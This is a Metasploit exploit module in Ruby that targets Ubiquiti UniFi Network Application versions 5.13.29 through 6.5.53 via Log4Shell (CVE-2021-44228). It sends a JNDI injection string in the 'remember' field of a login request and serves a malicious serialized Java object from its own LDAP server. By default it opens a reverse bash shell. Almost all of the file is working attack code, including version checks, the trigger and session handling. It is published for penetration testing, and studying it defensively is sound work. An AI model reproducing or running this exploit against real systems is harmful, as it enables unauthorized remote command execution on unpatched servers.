154 lines
5.2 KiB
Ruby
154 lines
5.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Log4Shell
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(_info = {})
|
|
super(
|
|
'Name' => 'UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)',
|
|
'Description' => %q{
|
|
The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell
|
|
vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the
|
|
/api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java
|
|
object. This results in OS command execution in the context of the server application.
|
|
|
|
This module will start an LDAP server that the target will need to connect to.
|
|
},
|
|
'Author' => [
|
|
'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
|
|
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
|
|
'Nicholas Anastasi' # Unifi research
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2021-44228' ],
|
|
[ 'URL', 'https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi' ],
|
|
[ 'URL', 'https://github.com/puzzlepeaches/Log4jUnifi' ],
|
|
[ 'URL', 'https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1' ]
|
|
],
|
|
'DisclosureDate' => '2021-12-09',
|
|
'License' => MSF_LICENSE,
|
|
'DefaultOptions' => {
|
|
'RPORT' => 8443,
|
|
'SSL' => true,
|
|
'WfsDelay' => 30
|
|
},
|
|
'DefaultTarget' => 1,
|
|
'Targets' => [
|
|
[
|
|
'Windows', {
|
|
'Platform' => 'win'
|
|
},
|
|
],
|
|
[
|
|
'Unix', {
|
|
'Platform' => 'unix',
|
|
'Arch' => [ARCH_CMD],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
}
|
|
},
|
|
]
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'AKA' => ['Log4Shell', 'LogJam'],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
}
|
|
)
|
|
register_options([
|
|
OptString.new('TARGETURI', [ true, 'Base path', '/'])
|
|
])
|
|
end
|
|
|
|
def wait_until(&block)
|
|
datastore['WfsDelay'].times do
|
|
break if block.call
|
|
|
|
sleep(1)
|
|
end
|
|
end
|
|
|
|
def check
|
|
validate_configuration!
|
|
res = send_request_cgi('uri' => normalize_uri(target_uri, 'status'))
|
|
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?
|
|
|
|
server_version = res.get_json_document.dig('meta', 'server_version')
|
|
return Exploit::CheckCode::Safe('The target service does not appear to be running.') unless server_version =~ /(\d+\.)+/
|
|
|
|
vprint_status("Detected version: #{server_version}")
|
|
server_version = Rex::Version.new(server_version)
|
|
if server_version < Rex::Version.new('5.13.29')
|
|
return Exploit::CheckCode::Safe('Versions prior to 5.13.29 are not exploitable.')
|
|
elsif server_version > Rex::Version.new('6.5.53')
|
|
return Exploit::CheckCode::Safe('Versions after 6.5.53 are patched and not affected.')
|
|
end
|
|
|
|
vprint_status('The target appears to be a vulnerable version, attempting to trigger the vulnerability...')
|
|
|
|
start_service
|
|
res = trigger
|
|
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?
|
|
|
|
wait_until { @search_received }
|
|
@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
|
|
ensure
|
|
cleanup_service
|
|
end
|
|
|
|
def build_ldap_search_response_payload
|
|
return [] if @search_received
|
|
|
|
@search_received = true
|
|
|
|
return [] unless @exploiting
|
|
|
|
print_good('Delivering the serialized Java object to execute the payload...')
|
|
build_ldap_search_response_payload_inline('BeanFactory')
|
|
end
|
|
|
|
def trigger
|
|
@search_received = false
|
|
# HTTP request initiator
|
|
send_request_cgi(
|
|
'uri' => normalize_uri(target_uri, 'api', 'login'),
|
|
'method' => 'POST',
|
|
'ctype' => 'application/json',
|
|
'data' => {
|
|
'username' => rand_text_alphanumeric(8..16), # can not be blank!,
|
|
'password' => rand_text_alphanumeric(8..16), # can not be blank!
|
|
'remember' => log4j_jndi_string,
|
|
'strict' => true
|
|
}.to_json
|
|
)
|
|
end
|
|
|
|
def exploit
|
|
validate_configuration!
|
|
|
|
@exploiting = true
|
|
start_service
|
|
res = trigger
|
|
fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
|
|
|
|
msg = res.get_json_document.dig('meta', 'msg')
|
|
if res.code == 400 && msg == 'api.err.Invalid' # returned by versions before 5.13.29
|
|
fail_with(Failure::NotVulnerable, 'The target is not vulnerable')
|
|
end
|
|
|
|
unless res.code == 400 && msg == 'api.err.InvalidPayload' # returned by versions after 5.13.29 (including patched ones)
|
|
fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way')
|
|
end
|
|
|
|
wait_until { @search_received && (!handler_enabled? || session_created?) }
|
|
handler
|
|
end
|
|
end
|